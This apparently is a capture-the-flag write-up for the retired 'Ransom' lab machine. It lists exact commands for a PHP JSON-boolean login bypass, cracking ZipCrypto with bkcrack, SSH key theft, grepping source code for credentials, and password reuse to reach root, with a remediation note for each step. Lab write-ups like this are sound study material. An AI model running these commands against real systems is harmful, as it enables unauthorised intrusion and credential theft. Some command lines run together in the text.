Ransom
Summary
My found a web application on port 80 that appeared to be locked behind a password prompt — but the login code had a critical flaw: sending the value true as a JSON boolean instead of a real password string tricked the server into granting access, because PHP's loose equality operator treats boolean true as equal to any non-empty string. Behind that login page sat a direct download of the user flag and a ZIP archive of a user's home directory.
The archive used a 30-year-old broken cipher (ZipCrypto) that can be cracked without the password as long as I knowed the unencrypted content of any one file inside — a standard Ubuntu configuration file bundled in the archive served that role, and the tool bkcrack decrypted the entire archive in minutes. The decrypted archive contained the user's SSH private key, which granted a shell on the system.
Reading the web application's source code on the server revealed the plaintext password the app had been checking. That exact password had also been set as the operating system root account's password, so a single su command gave me complete control of the machine.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p22,80 $TARGETcurl -sS http://$TARGET/ | grep -oE "(api/[^'"]+|fetch\([^)]+\))"Exact commands 1
curl -sS -c cookies.txt -X POST -H 'Content-Type: application/json' -H 'X-HTTP-Method-Override: GET' --data '{"password":true}' http://$TARGET/api/loginFixReplace PHP loose comparison with strict equality in the login handlerCritical
Exact commands 3
curl -sS -b cookies.txt http://$TARGET/user.txtcurl -sS -b cookies.txt http://$TARGET/uploaded-file-3422.zip -o ransom.zipunzip -l ransom.zipFixReplace ZipCrypto with AES-256 encryption for any sensitive archivesHigh
Exact commands 4
cd /etc/skel && zip -X /tmp/known.zip .bash_logoutbkcrack -C ransom.zip -c .bash_logout -P /tmp/known.zip -p .bash_logoutbkcrack -C ransom.zip -k $PASSWORD2 $PASSWORD3 $PASSWORD4 -D ransom_dec.zipunzip ransom_dec.zip -d ransom_homeExact commands 2
chmod 600 ransom_home/.ssh/id_rsassh -i ransom_home/.ssh/id_rsa htb@$TARGETFixRemove SSH private keys from web-accessible storage and enforce passphrase protectionHigh
Exact commands 2
grep -R -B5 -A5 'password' /srv/prod/app/Http/Controllers/AuthController.phpfind /srv/prod -name '*.php' | xargs grep -l 'password\|secret\|key' 2>/dev/nullFixRemove hardcoded credentials from application source code and use environment variablesHigh
Exact commands 2
printf '%s\n' "$PASSWORD" | su - root -c 'id; cat /root/root.txt'printf '%s\n' "$PASSWORD" | ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i ransom_home/.ssh/id_rsa htb@$TARGET "su - root -c 'id; cat /root/root.txt'" 2>/dev/nullFixUse unique passwords for every account and never share credentials between applications and system accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |